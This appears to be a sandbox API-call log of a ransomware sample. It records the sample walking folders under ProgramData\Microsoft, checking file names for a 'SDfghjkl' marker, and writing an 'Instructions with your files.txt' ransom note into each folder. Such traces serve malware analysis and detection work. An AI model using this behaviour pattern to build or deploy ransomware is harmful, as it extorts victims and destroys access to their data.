[0131.846] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
[0131.846] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network") returned 40
[0131.846] GetProcessHeap () returned 0x810000
[0131.846] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.846] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\*") returned 42
[0131.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.846] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\.") returned 42
[0131.846] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.846] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\..") returned 43
[0131.846] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
[0131.846] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned 52
[0131.846] GetProcessHeap () returned 0x810000
[0131.846] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.846] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*") returned 54
[0131.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.846] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections\\.") returned 54
[0131.846] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.846] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections\\..") returned 55
[0131.846] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.846] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Instructions with your files.txt") returned 85
[0131.846] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.846] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.846] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Instructions with your files.txt") returned 85
[0131.847] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.847] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.848] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.848] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.848] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.848] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.848] CloseHandle (hObject=0x114) returned 1
[0131.848] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.848] GetProcessHeap () returned 0x810000
[0131.848] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.848] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
[0131.848] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned 51
[0131.848] GetProcessHeap () returned 0x810000
[0131.848] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.848] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*") returned 53
[0131.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.849] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\.") returned 53
[0131.849] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.849] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\..") returned 54
[0131.849] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.849] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Instructions with your files.txt") returned 84
[0131.849] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.849] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1
[0131.849] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned 61
[0131.849] StrStrIW (lpFirst="qmgr0.dat", lpSrch="SDfghjkl") returned 0x0
[0131.849] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1
[0131.849] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned 61
[0131.849] StrStrIW (lpFirst="qmgr1.dat", lpSrch="SDfghjkl") returned 0x0
[0131.849] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0
[0131.849] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Instructions with your files.txt") returned 84
[0131.849] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.849] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.850] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.850] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.850] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.850] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.850] CloseHandle (hObject=0x114) returned 1
[0131.851] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.851] GetProcessHeap () returned 0x810000
[0131.851] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.851] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.851] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Instructions with your files.txt") returned 73
[0131.851] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.851] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.851] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Instructions with your files.txt") returned 73
[0131.851] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.851] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.852] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.852] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.852] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.852] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.852] CloseHandle (hObject=0x110) returned 1
[0131.852] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.852] GetProcessHeap () returned 0x810000
[0131.852] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.852] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1
[0131.852] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE") returned 39
[0131.852] GetProcessHeap () returned 0x810000
[0131.852] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.852] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\*") returned 41
[0131.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\.") returned 41
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\..") returned 42
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico") returned 56
[0131.853] StrStrIW (lpFirst="AssetLibrary.ico", lpSrch="SDfghjkl") returned 0x0
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico") returned 62
[0131.853] StrStrIW (lpFirst="DocumentRepository.ico", lpSrch="SDfghjkl") returned 0x0
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2165b80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\Instructions with your files.txt") returned 72
[0131.853] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico") returned 57
[0131.853] StrStrIW (lpFirst="MySharePoints.ico", lpSrch="SDfghjkl") returned 0x0
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1
